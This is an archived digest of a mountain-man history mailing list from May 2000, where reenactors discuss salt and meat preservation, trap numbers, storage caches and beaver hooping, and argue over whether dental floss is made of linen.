the info that i presented was only a starting point or rough estimate and
yes a person can go lighter or heavier---just involved the amount of
security and creature comforts and such---I personally feel that my
numbers were high---but i was working on the assumption of being out a
year or more---with an emphasis on more---one of the things that i dont
agree with you on is the salt thing---to me that is very inportant more
for cureing meat while in the drying process and also other
things------kill a deer or bear or elk or whatever---if you cant store
the meat it's gone and spoiled in a few days---remember the amount of
flys in that area---and i am sure you know about the bees---they like
fresh meat also if it is not salted---smokeing helps but is not the total
answer to me------still have to do something with the meat air drying is
good but will mold and spoil if you dont use salt or other perservative
in my estimation---basic load of traps for the trapper was only six
traps---I throwed in the 1 1/2 for small critters---just because of my
own preferences---traps cost more than the powder or the other things in
the inventory in that time  of history---6 traps cost as much as a rifle
in that time span---(that is something we need to look at ---what was the
cost of the traps in that period of history---@ st louis and at the
mountains---what if the MM needed more traps due to loss or breakage---I
have had big critters tear a small trap up on me when i was doing that
sort of thing---

I believe we both are on the same point of thought and pondering that it
takes about 2 horses for each MM while in the wilds---again I was just
trying to throw out a rough estimate glad you thought about it also and
we concur on many of the points---again---I like the extra comfort of the
extra powder and supplies---I also believe that most of the MM didnt
always dig a casha---they used caves and other natural places for storage
that were semi protected from the elements---in my part of the world
there is lots of bluffs and rock outcrops and people used them to stay in
the dry during bad weather---several places along the white river that
people have lived for several hundred years ---Ie the
natives---indians---wouldnt require the need for a shelter---there is
good examples of this in the western areas also---I have a big bluff line
on some of my property that you find bunches of arrow heads and such
there because the natives lived there and stored their stuff in that
area---you find a lot of stone walls up next to the bluffs which are
plastered with dirt or clay and it is dry as a bone inside this area
because of the overhang and such---also in caves the temperature will
stay about 55 degrees year around---winter and summer---less need for
fires except to cook if they didnt eat the meat raw or dried---in my home
area there is lots of oak trees that have acorns---several that can be
ground into a paste and a meal  made from it---the Osage call it "sweet
meat of the strong tree" also near the rivers they used fish traps made
out of wood to catch and hold fish---or dig small ponds near the edge of
the river which fill with water and they could put the live fish in and
hold them for a later time---the suckers come up streem a couple of times
a year and were cought by hand and put into these holding ponds and didnt
require smoking or preserving that way---they would also nuddel catfish
and put them in these holding ponds for future usage---the only time
there was a lot of worry was in the spring of the year during the high
water time when these small ponds were overflowed---and hopefully the
fish stayed in the deeper ponds---

lots of things to think about thats for sure---I know if it was me and i
was in the mountains I sure wouldnt want to not be able to store or keep
provisions for later dates and the winter time "time of the starving
moon"

so i guess the salt thing was important in my estimation as the indians
seemed to cherrish the salt licks or areas wher the natural salt could be
obtained and would load their horses and travoices down with it for
future usage---


lots of stuff to ponder when thinking about what the mountain man and the
native american would do to survive for the total time of more than one
year in the wilderness---forethought and planning were important for
survival---I feel that things that could be broken or lost that they
would to have at least one spare handy---that was why i used the high
number for steels and knives---those were important to me---could do
without the gun but the knife and fire steel to me would make the
difference in true survival---look at the high quantities on the listings
of skinner knives that were taken to the roo's always several dozen and 6
is not excessive due to loss and breakage---

gads bud have i run off at the computer keyboard---and I as you sit and
ponder these things and try to come to some sence of fact and
reality---hope you understand my thought pattern on this subject---

this i humbly submit---

YMHOSANT
   =+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: "Chance Tiffie" <[e-mail]>
Subject: MtMan-List: re-supply
Date: 25 May 2000 10:48:10 PDT



Early on, the re-supply situation was difficult, but in the latter years
there was several places a man could outfit himself throughout the year.
Beaver were brought in a few at a time to exchange for goods at posts such
as Ft. Hall, rather than waiting for the annual rendezvous.
As for pulling your load an reloading a fresh one; the tarrifs(sp) at  Ft.
Hall allowed several days before re-loading.  I will read back to find out
how many exactly, as I have aroused my own curiosity.  Was this standard??
Who knows, but Wyeth tried to run a tight ship.

Cliff Tiffie
PO Box 5089
Durant, OK
74702
580-924-4187
---------------------
Aux Aliments de Pays!

________________________________________________________________________
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From: "Noel Harlan" <[e-mail]>
Subject: MtMan-List: Trapper Cabins
Date: 25 May 2000 11:54:23 -0600

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Mouton Man Scholars,

I believe I have photographed the remains of a trappers cabin in the San =
Juan Mountains of Colorado. Somewhere I read a description of such a =
cabin.

If anyone knows where (a book) I got that description I would be =
immensely grateful.

Noel Harlan

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<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#b8b8b8>
<DIV><FONT size=3D2>Mouton Man Scholars,</FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2>I believe I have photographed the remains of a =
trappers cabin=20
in the San Juan Mountains of Colorado. Somewhere I read a description of =
such a=20
cabin.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2>If anyone knows where (a book) I got that =
description I would=20
be immensely grateful.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2>Noel Harlan</FONT></DIV></BODY></HTML>

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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 14:06:33 -0500

Your are right with the floss, sorry. The floss I have was made from line=
n. I
got some along time ago. Did not realize the new stuff was not. thanks fo=
r the
infor. my mistake!!!!

"Paul W. Jones" wrote:

> Don:
>
> Why is the reponse wrong?  Are you still maintaining that dental floss =
is
> made from a natural fiber?  Some perhaps, although I have not found it.=
  Was
> at the pharmacy yesterday and stopped and perused the dental floss.  Ea=
ch
> and every brand on the shelf listed synthetic materials.
>
> Could you explain, or do I misunderstand your response.
>
> Regards,  Paul
> ----- Original Message -----
> From: don neighbors <[e-mail]>
> To: <[e-mail]>
> Sent: Thursday, May 25, 2000 7:07 AM
> Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
>
> wrong.......nice try..........
>
> Ron Chamberlain wrote:
>
> > Taken from http://www.dentaldigest.com/perio/floss.html
> > Ain't technology wonderful!
> >
> > COLGATE=AE TOTAL=AE Colgate
> > Description: A state-of-the-art, low-friction, Teflon=AE fiber ......
> >
> > Glide=AE Floss W.L. Gore & Associates
> > Description: Made from expanded PTFE (polytetrafluorethylene), ......
> >
> > JOHNSON & JOHNSON REACH=AE FLOSS Johnson & Johnson Description: Nylon=
 dental
> > floss ......
> >
> > JOHNSON & JOHNSON REACH=AE FLOSS EASY SLIDE=AE Johnson & Johnson
> > Description: Made of patented PTFE material ....
> >
> > PHB PERIO-FLOSS PHB, Inc.
> > Description: A USA-made acrylic yarn floss .....
> >
> > WISDOM DENTAL FLOSS Wisdom Toothbrush Co.
> > Description: Features 840 denier nylon strands. .....
> >
> > Wher'd you come up with linen???
> >
> > Ron
> >
> > >
> > >
> > > Really?  Is Dental Floss really Linen?  No kiddin'?  I always just
> assumed
> > it
> > > was some sort of space-age nylon or something.
> > > Where can I  find out for sure?
> > > Rick
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.ht=
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>
> ----------------------
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> ----------------------
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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re:Home Experiment Results: Dental Floss.
Date: 25 May 2000 14:08:00 -0500

how about sinew, what is it made of know?

[e-mail] wrote:

> I lit a match and held the floss above the flame.  The stuff seared and dripped
> off like nylon parachute cord does when you fire-whip the ends.  There was a
> blob of melted material after I blew out the end.  Anyhow guys, the stuff in my
> medicine cabinet sure wasn't anything like linen, and probably won't find its'
> way to my possibles bag.
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 14:10:30 -0500

did the mtnman use a computer also?

D Miles wrote:

> > wrong. it melts because of the wax in it, and it is
> > sterile.....................
>
> I melted some of the 3 types we have here.. All three melted into a hard
> nylon ball, not a wax type melt.  And as an earlier post from Ron pointed
> out, the manufacturers says it is made from nylon, PTFE, acrylic yarn &
> teflon fiber of all things!... If you believe the word of an "Old
> Buckskinner" on all subjects.. I gots some beach property fer ya!<G>
> D
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
> ----------------------
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From: "Noel Harlan" <[e-mail]>
Subject: MtMan-List: Spelling Mountain correctly
Date: 25 May 2000 12:03:06 -0600

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Mountain Man Scholars,

I did not realize I misspelled mountain. What a way to start!
I apologize heartily.

Noel Harlan

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    charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#b8b8b8>
<DIV><FONT size=3D2>Mountain Man Scholars,</FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2>I did not realize I misspelled mountain. What a way =
to=20
start!</FONT></DIV>
<DIV><FONT size=3D2>I apologize heartily.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT size=3D2>Noel Harlan</FONT></DIV></BODY></HTML>

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From: [e-mail]
Subject: Re: MtMan-List: Spelling Mountain correctly
Date: 25 May 2000 14:21:57 EDT

In a message dated 5/25/00 11:01:30 AM Pacific Daylight Time,
[e-mail] writes:

> Mountain Man Scholars,

woooooohoooooooooo, now we're elitist bastard scholars! danged if we dont
just get better every day <GGG>    Thanks Noel.          Barney

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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 15:14:50 -0500

also should I not believe the word of Sid Davis or Pappy Horn?

D Miles wrote:

> > wrong. it melts because of the wax in it, and it is
> > sterile.....................
>
> I melted some of the 3 types we have here.. All three melted into a hard
> nylon ball, not a wax type melt.  And as an earlier post from Ron pointed
> out, the manufacturers says it is made from nylon, PTFE, acrylic yarn &
> teflon fiber of all things!... If you believe the word of an "Old
> Buckskinner" on all subjects.. I gots some beach property fer ya!<G>
> D
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: RE: MtMan-List: Re:Home Experiment Results: Dental Floss.
Date: 25 May 2000 13:06:34 -0600

Don,

Sinew is still made the same way that is has been for the last several
million years. It grows on the backs and legs of animals that have muscles
attached to bone.

Now ARTIFICIAL sinew is a different story. It's just basically FAT dental
floss.

Lou Sickler
Colorado Territory

> -----Original Message-----
> From:    don neighbors [SMTP:[e-mail]]
> Sent:    Thursday, May 25, 2000 1:08 PM
> To:    [e-mail]
> Subject:    Re: MtMan-List: Re:Home Experiment Results: Dental Floss.
>
> how about sinew, what is it made of know?
>
> [e-mail] wrote:
>
> > I lit a match and held the floss above the flame.  The stuff seared and
> dripped
> > off like nylon parachute cord does when you fire-whip the ends.  There
> was a
> > blob of melted material after I blew out the end.  Anyhow guys, the
> stuff in my
> > medicine cabinet sure wasn't anything like linen, and probably won't
> find its'
> > way to my possibles bag.
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
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From: [e-mail]
Subject: Re: MtMan-List: Re:Home Experiment Results: Dental Floss.
Date: 25 May 2000 14:01:39 -0500

Washtahay-
At 02:08 PM 5/25/00 -0500, you wrote:
>how about sinew, what is it made of know?
    Primarily proteins, if I recall correctly.
LongWalker c. du B.



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From: [e-mail]
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 15:22:21 EDT

[e-mail] writes:
> did the mtnman use a computer also?

Yeah, It was called an abacus.

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 12:30:06 -0700


----- Original Message -----
Sent: Thursday, May 25, 2000 12:22 PM


> [e-mail] writes:
> > did the mtnman use a computer also?
>
> Yeah, It was called an abacus.

The successful ones also had a pretty powerful PC that they carried around
on their shoulders. It is stil in common use to this day by many, though not
all.




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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 15:45:45 -0400


> also should I not believe the word of Sid Davis or Pappy Horn?


Trust, but verify.Before you spout something as fact... I know some old
graybeards that have been good friends for years that if they told me the
grass was green I would look first before I repeated it.
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: [e-mail]
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 25 May 2000 12:56:42 -0700



Fellers,
You guys are making me think...which is dang hard to do!  I seem to recall that
Kit Carson recorded as having said something about not having any salt  while in
the mountains, and also something about not having had any bread for years at a
time.  Osborne Russell records the natives taking salt out of the deposits in
Salt River that runs thru Star Valley Wyoming.  Any of you local Wyoming fellers
been to those salt deposits; are they still there?

On more of a practical first-hand note:  You can cut the meat of entire large
animals into strips and hang it to dry.  In the dry western mountains a sort of
skin forms almost immediately on such meat, and flies are not able to get their
little eggs laid.  No salt needed.  It takes a day or two to dry complete
depending on conditions.  Good, yes!  Tasty, not really...but pretty good in
stew ifn' ya got some salt!

I don't think the old time mountain men spent lots of their time drying meat
unless they knew they were going to face starvin' times.  But then, like I said,
I don't think a lot cause it's too hard to do.

Rick



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From: [e-mail]
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 18:38:23 -0700



On Thu, 25 May 2000 15:14:50 -0500 don neighbors <[e-mail]>
writes:
> also should I not believe the word of Sid Davis or Pappy Horn?

boy did you pick a pair of aces to draw to---usto run with those two at
OKAY Valley and friendship and such---Pappy was one of my sponsers and
sid usto always go to most of the roo's in the st louis area---had a
white fox skin on the door of his lodge---pappy built my northwest gun
and won the northwest gun match with it at friendship the year he made
it---

if you cross their sign tell them hi for me---do you have a e-mail for
either---dan anderson has a e-mail address got it if you need it---

YMHOSANT
   =+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: Mike Moore <[e-mail]>
Subject: MtMan-List: salt
Date: 25 May 2000 19:14:17 -0600


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Salt was a welcome thing on the frontier. But, it was expensive. I think

it was Larpentuer who said he had his salt and pepper in one bag for
seasoning and he felt his wages barely paid for the salt. It the west,
there were places to get salt other than trading posts. South Park
had two ro three areas on the south side which both Indians and whites
gathered it. Don't know though, what the quality of it was. Definitely
not
the pure white, small, iodidized that we have today.
                                                mike.

 http://home.earthlink.net/~amm1616

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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Salt was a welcome thing on the frontier. But, it was expensive. I think
<br>it was Larpentuer who said he had his salt and pepper in one bag for
<br>seasoning and he felt his wages barely paid for the salt. It the west,
<br>there were places to get salt other than trading posts. South Park
<br>had two ro three areas on the south side which both Indians and whites
<br>gathered it. Don't know though, what the quality of it was. Definitely
not
<br>the pure white, small, iodidized that we have today.
<br>
mike.
<p> <a href="http:/home.earthlink.net/~amm1616">http://home.earthlink.net/~amm1616</a></html>

--------------A5702B783CF273DBC347367C--


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From: [e-mail]
Subject: Re: MtMan-List: salt
Date: 25 May 2000 20:33:51 EDT

  I have heard that the Indian did not use, nor like the taste of, salt.

  The words for salt in Indian Sign Language are  WHITE POWDER TASTES BAD.

   The Indians, however, liked sugar.  Sugar in Indian Sign is WHITE POWDER
TASTES GOOD (a very long good).

    I understand that one of the things that Sacagawea gave her brother, upon
meeting him on the journey, was a lump of sugar.

    Tom Orr


 Salt was a welcome thing on the frontier. But, it was expensive. I think

 it was Larpentuer who said he had his salt and pepper in one bag for
 seasoning and he felt his wages barely paid for the salt. It the west,
 there were places to get salt other than trading posts. South Park
 had two ro three areas on the south side which both Indians and whites
 gathered it. Don't know though, what the quality of it was. Definitely
 not
 the pure white, small, iodidized that we have today.
                                                 mike.

  http://home.earthlink.net/~amm1616

 --------------------
 <!doctype html public "-//w3c//dtd html 4.0 transitional//en">

 Salt was a welcome thing on the frontier. But, it was expensive. I think

 it was Larpentuer who said he had his salt and pepper in one bag for
 seasoning and he felt his wages barely paid for the salt. It the west,
 there were places to get salt other than trading posts. South Park
 had two ro three areas on the south side which both Indians and whites
 gathered it. Don't know though, what the quality of it was. Definitelynot
 the pure white, small, iodidized that we have today.


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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Re:Home Experiment Results: Dental Floss.
Date: 25 May 2000 21:10:53 -0700

I ain't goin there again.  <G>
LP
-----Original Message-----


how about sinew, what is it made of know?

[e-mail] wrote:

> I lit a match and held the floss above the flame.  The stuff seared and
dripped
> off like nylon parachute cord does when you fire-whip the ends.  There was
a
> blob of melted material after I blew out the end.  Anyhow guys, the stuff
in my
> medicine cabinet sure wasn't anything like linen, and probably won't find
its'
> way to my possibles bag.
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 25 May 2000 22:49:27 -0500

Washtahay-
At 12:43 PM 5/25/00 -0700, you wrote:
>the info that i presented was only a starting point or rough estimate and
>yes a person can go lighter or heavier---
    yeah, I just wanted to set out another perspective.  This is speculation
and opinion on both our parts, but it might show some folks different
thoughts on the subject.

>one of the things that i dont
>agree with you on is the salt thing---to me that is very inportant more
>for cureing meat while in the drying process and also other
>things-----<snip>still have to do something with the meat air drying is
>good but will mold and spoil if you dont use salt or other perservative
>in my estimation---
    Don't know about that--I figure meat was dried by Indians without using
salt for an awful ong time.  I've always preferred to avoid it, and have
never felt it was necessary for long-term preservation of meat.  I've still
got a bit of dried meat on hand from '98 that is fine.
    When you bone out the animal and unroll the muscle groups into sheets,
then dry it (with or without smoking it) it will usually only mold at the
ends.  I've always thought it was about right when it weems you could grind
an edge on it and use it for a knife.  At that stage of dryness it won't
mold at all.
    (Flies can be kept away with an application of pepper to the meat.  One
time I used some dried jalapeno seeds, they worked OK but I don't recommend
using meat dried in such a way for use in pemmican--DAMHIKT.)
    Long-term storage of meat should ideally be in the form of pemmican, as
the grease will further preserve the meat.

>basic load of traps for the trapper was only six
>traps---I throwed in the 1 1/2 for small critters---just because of my
>own preferences---traps cost more than the powder or the other things in
>the inventory in that time  of history---6 traps cost as much as a rifle
>in that time span---
    I've always wondered if the standard allotment of traps wasn't due at
least in part to the cost.  I know I can walk a six mile line, make a few
sets, and skin, stretch, and flesh six beaver before the sun gets past
noon; that makes me think it wasn't due to the short amount of daylight.
    I agree with you on the small traps--other animals were taken when
opportunity allowed, and a change in camp meat is always welcome.

>I like the extra comfort of the
>extra powder and supplies---
    And I come in from the other extreme at times, spent too much time with
Indians in my formative years I guess.  There is just so much available
food that I don't worry about it much.

>I also believe that most of the MM didnt
>always dig a casha---they used caves and other natural places for storage
>that were semi protected from the elements---
    Where I grew up, that is just a totally foreign concept.  Not a lot of
caves in the sandhills or along the Platte, and any cache made in the
Badlands in SoDak would soon be lost.

>several that can be
>ground into a paste and a meal  made from it---the Osage call it "sweet
>meat of the strong tree"
    Yeah-learned a long time ago to rob squirrels, and to take the acorns from
the top of the trees (lower rate of spoilage in both cases)-but acorns and
walnuts are more of a novelty than a staple out here.  They just arent'
populous enough to make it worthwhile to try to find and harvest large
quantities.

>also near the rivers they used fish traps made
>out of wood to catch and hold fish---
    Again, its probably my upbringing, but the thought of having to eat fish
is a powerful incentive to find something else to eat.  Definitely not one
of my favorite foods.  I'm not sure it is "cost-effective" in terms of
calories acquired for calories expended, at least in most places.  Areas
like you are talking about are an exception as quantities can be gathered
at one time.

>they would also nuddel catfish
>and put them in these holding ponds for future usage---
    I wonder how many folks on the list know what this is?   Will you explain
it, you'll do it better than I would.  Let me just say that when I was six
I got hold of a carp doing this that weighed more than 30 pounds.
    And while I don't care for fish, I do know that anywhere there is water
there is food (I spotted a snapper on my walk yesterday, next time I head
up north I'll take him to the ranch for my adopted family to fix in the old
style).

>so i guess the salt thing was important in my estimation as the indians
>seemed to cherrish the salt licks or areas wher the natural salt could be
>obtained and would load their horses and travoices down with it for
>future usage---
    Well, you _can_ use it, you don't _have_ to use it.

>lots of stuff to ponder when thinking about what the mountain man and the
>native american would do to survive for the total time of more than one
>year in the wilderness---forethought and planning were important for
>survival---
    And learning to live with the cycle of the seasons.

>I feel that things that could be broken or lost that they
>would to have at least one spare handy---that was why i used the high
>number for steels and knives---
    Yeah, but I can recall at least one mention of someone loaning out a
striker because none were to be had at the fort.

>without the gun but the knife and fire steel to me would make the
>difference in true survival---look at the high quantities on the listings
>of skinner knives that were taken to the roo's always several dozen and 6
>is not excessive due to loss and breakage---
    Yes--I often wonder if having spares wasn't a luxury.
    (And why those awkward skinners?  I have never gotten the hang of using
one, preferring a butcher knife or better yet one of those Dadleys that I
can't establish a date of introduction for...)

>gads bud have i run off at the computer keyboard---and I as you sit and
>ponder these things and try to come to some sence of fact and
>reality---hope you understand my thought pattern on this subject---
    You know, there are two logical points for continuation of this
discussion.  We should take a look at trade lists of goods going to the
rendezvous to consider mountain costs of these goods (and quantities
obtained by individuals where it can be determined), particularly in
relation to the price for furs and the quantities traded.  And we should
look at early accounts  of what folks took with them when they left the
settlements.
    If anyone is interested in the rationale for the way Native Americans
utilized animals for meat, you might want to take a look at a book called
"Bison Kills and Bone Counts" by John D. Speth.   There are a number of
other books dealing with aboriginal food sources, I can come up with titles
if anyone needs them.
LongWalker c. du B.


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From: [e-mail]
Subject: MtMan-List: Carl Dyers web site
Date: 26 May 2000 00:51:47 EDT

Several days (weeks) ago someone asked for Dyers web site.  I just ran into
it and thought I would forward it to all of you.  If someone else has already
done this I apologize for the redundancy





http://carldyers.com

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From: Allen Hall <[e-mail]>
Subject: RE: MtMan-List: Re: Beaver trapping
Date: 25 May 2000 23:19:02 -0600

At 06:23 PM 05/24/2000 +0100, you wrote:

>A large beaver weighs alot.  We know that camptenders did alot of the
>skinning and hooping, but if I had alot of weight wouldn't it make sense  to
>"field" dress the hide and then flesh it at camp?

I'm thinking they threw them on the ponies.  Critters are heavy, ain't they.
And you learned that the best way, doing it!!!

>The term regarding stick floating, does this only mean that the stick that
>secured the trap to the ground would float once beaver headed for deep water
>or was there also a method to "mark" your traps location by use of floating
>sticks.

What I do is have a rope tied onto the ring at the end of the chain.  I then
tie the rope onto the stake, so that if they do pull it out I can see it out
in the pond.

>
>Osborne Russell list a recipe for lure.  Any other primary docs on lures?
>
John Clymer has a receipe in his book, it's the one I use.

>Wyeth mentions trapping beaver during the summer months as he traveled.  I
>believe James Audobon did as well although he was not a trapper.  How
>prevalent was summer trapping of beaver?

I think that they trapped whenever they could.  If he didn't get it the next
guy would.  Why give up anything?  Not real ecological, but pretty
practical.  As Crazy noted, they didn't come back through real soon, as the
beaver would be pretty cleaned out.

Take care, and glad to hear you're getting "in the water" as well as on the
ground.

Allen


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From: [e-mail]
Subject: MtMan-List: Re:Hooping with raw hide
Date: 26 May 2000 01:18:18 EDT

Hello in the trappin camp.
Just a thought on using raw hide to hoop a beaver. I would want to make sure
that I used dry raw hide because if you use wet raw hide when it dried it
would shrink and either pull through the hide or pull the hoop out of shape.
Cordage or twine from unraveled rope or even buckskin thong would also work.
                                       Thoughts from the
                                         Cyot

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From: [e-mail]
Subject: Re: MtMan-List: Re: Beaver trapping
Date: 26 May 2000 02:13:15 EDT

Just thought I'd share with ya all. Me and three of my trappin partners are
head out tomorrow to do some depredation trapping on the Henry's fork of the
snake river at the sight of old Fort Henry. Let ya know how we done, when we
get back. Should be some good doins lots of sign and a lot of eatable plants
out now to go with the beaver meat.
                                         Waugh! for mountain doins.
                                          Crazy Cyot

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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Re:Hooping with raw hide
Date: 25 May 2000 23:18:04 -0700

I think I've read somewhere that not only were beaver hides strung up on
willow branch hoops but willow was striped of its thin, strong, bark which
was threaded through holes in the hide and onto the hoop.  I've used willow
bark for temporary lashings and found it relatively strong.  Willow picked
in stream beds contains a fair amount of water in the bark and strong knots
can be maintained allowing several lengths to be tied together......it can
even be braided for a rough form of cordage.

John Funk

----- Original Message -----
Sent: Thursday, May 25, 2000 10:18 PM


> Hello in the trappin camp.
> Just a thought on using raw hide to hoop a beaver. I would want to make
sure
> that I used dry raw hide because if you use wet raw hide when it dried it
> would shrink and either pull through the hide or pull the hoop out of
shape.
> Cordage or twine from unraveled rope or even buckskin thong would also
work.
>                                        Thoughts from the
>                                          Cyot
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 26 May 2000 07:05:46 -0600

Don and Paul,
Is it possible that back in the 70's dental floss was made of Linen? and
like many other products has been altered?. A good example is cheese cloth,
it use to be all cotton, now I have to read the label and make sure it's no=
t
nylon.
YMOS
Ole # 718
----------
>From: don neighbors <[e-mail]>
>To: [e-mail]
>Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
>Date: Thu, May 25, 2000, 1:06 PM
>

>Your are right with the floss, sorry. The floss I have was made from linen=
. I
>got some along time ago. Did not realize the new stuff was not. thanks for=
 the
>infor. my mistake!!!!
>
>"Paul W. Jones" wrote:
>
>> Don:
>>
>> Why is the reponse wrong?  Are you still maintaining that dental floss i=
s
>> made from a natural fiber?  Some perhaps, although I have not found it. =
 Was
>> at the pharmacy yesterday and stopped and perused the dental floss.  Eac=
h
>> and every brand on the shelf listed synthetic materials.
>>
>> Could you explain, or do I misunderstand your response.
>>
>> Regards,  Paul
>> ----- Original Message -----
>> From: don neighbors <[e-mail]>
>> To: <[e-mail]>
>> Sent: Thursday, May 25, 2000 7:07 AM
>> Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
>>
>> wrong.......nice try..........
>>
>> Ron Chamberlain wrote:
>>
>> > Taken from http://www.dentaldigest.com/perio/floss.html
>> > Ain't technology wonderful!
>> >
>> > COLGATE=AE TOTAL=AE Colgate
>> > Description: A state-of-the-art, low-friction, Teflon=AE fiber ......
>> >
>> > Glide=AE Floss W.L. Gore & Associates
>> > Description: Made from expanded PTFE (polytetrafluorethylene), ......
>> >
>> > JOHNSON & JOHNSON REACH=AE FLOSS Johnson & Johnson Description: Nylon de=
ntal
>> > floss ......
>> >
>> > JOHNSON & JOHNSON REACH=AE FLOSS EASY SLIDE=AE Johnson & Johnson
>> > Description: Made of patented PTFE material ....
>> >
>> > PHB PERIO-FLOSS PHB, Inc.
>> > Description: A USA-made acrylic yarn floss .....
>> >
>> > WISDOM DENTAL FLOSS Wisdom Toothbrush Co.
>> > Description: Features 840 denier nylon strands. .....
>> >
>> > Wher'd you come up with linen???
>> >
>> > Ron
>> >
>> > >
>> > >
>> > > Really?  Is Dental Floss really Linen?  No kiddin'?  I always just
>> assumed
>> > it
>> > > was some sort of space-age nylon or something.
>> > > Where can I  find out for sure?
>> > > Rick
>> >
>> > ----------------------
>> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.htm=
l
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 26 May 2000 10:57:41 -0500

how my years have you spent in the mtns, a snide smart ass, very good!!!!

D Miles wrote:

> > also should I not believe the word of Sid Davis or Pappy Horn?
>
> Trust, but verify.Before you spout something as fact... I know some old
> graybeards that have been good friends for years that if they told me the
> grass was green I would look first before I repeated it.
> D
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 26 May 2000 11:02:39 -0500

Thank you very much, so I do not keep up on alot of things but I try. I a=
m not a
snide smartass I am a dumb ass. But I still spent 2 years living alone in=
 Lewis and
Clark National Forest.

"Ole B. Jensen" wrote:

> Don and Paul,
> Is it possible that back in the 70's dental floss was made of Linen? an=
d
> like many other products has been altered?. A good example is cheese cl=
oth,
> it use to be all cotton, now I have to read the label and make sure it'=
s not
> nylon.
> YMOS
> Ole # 718
> ----------
> >From: don neighbors <[e-mail]>
> >To: [e-mail]
> >Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
> >Date: Thu, May 25, 2000, 1:06 PM
> >
>
> >Your are right with the floss, sorry. The floss I have was made from l=
inen. I
> >got some along time ago. Did not realize the new stuff was not. thanks=
 for the
> >infor. my mistake!!!!
> >
> >"Paul W. Jones" wrote:
> >
> >> Don:
> >>
> >> Why is the reponse wrong?  Are you still maintaining that dental flo=
ss is
> >> made from a natural fiber?  Some perhaps, although I have not found =
it.  Was
> >> at the pharmacy yesterday and stopped and perused the dental floss. =
 Each
> >> and every brand on the shelf listed synthetic materials.
> >>
> >> Could you explain, or do I misunderstand your response.
> >>
> >> Regards,  Paul
> >> ----- Original Message -----
> >> From: don neighbors <[e-mail]>
> >> To: <[e-mail]>
> >> Sent: Thursday, May 25, 2000 7:07 AM
> >> Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
> >>
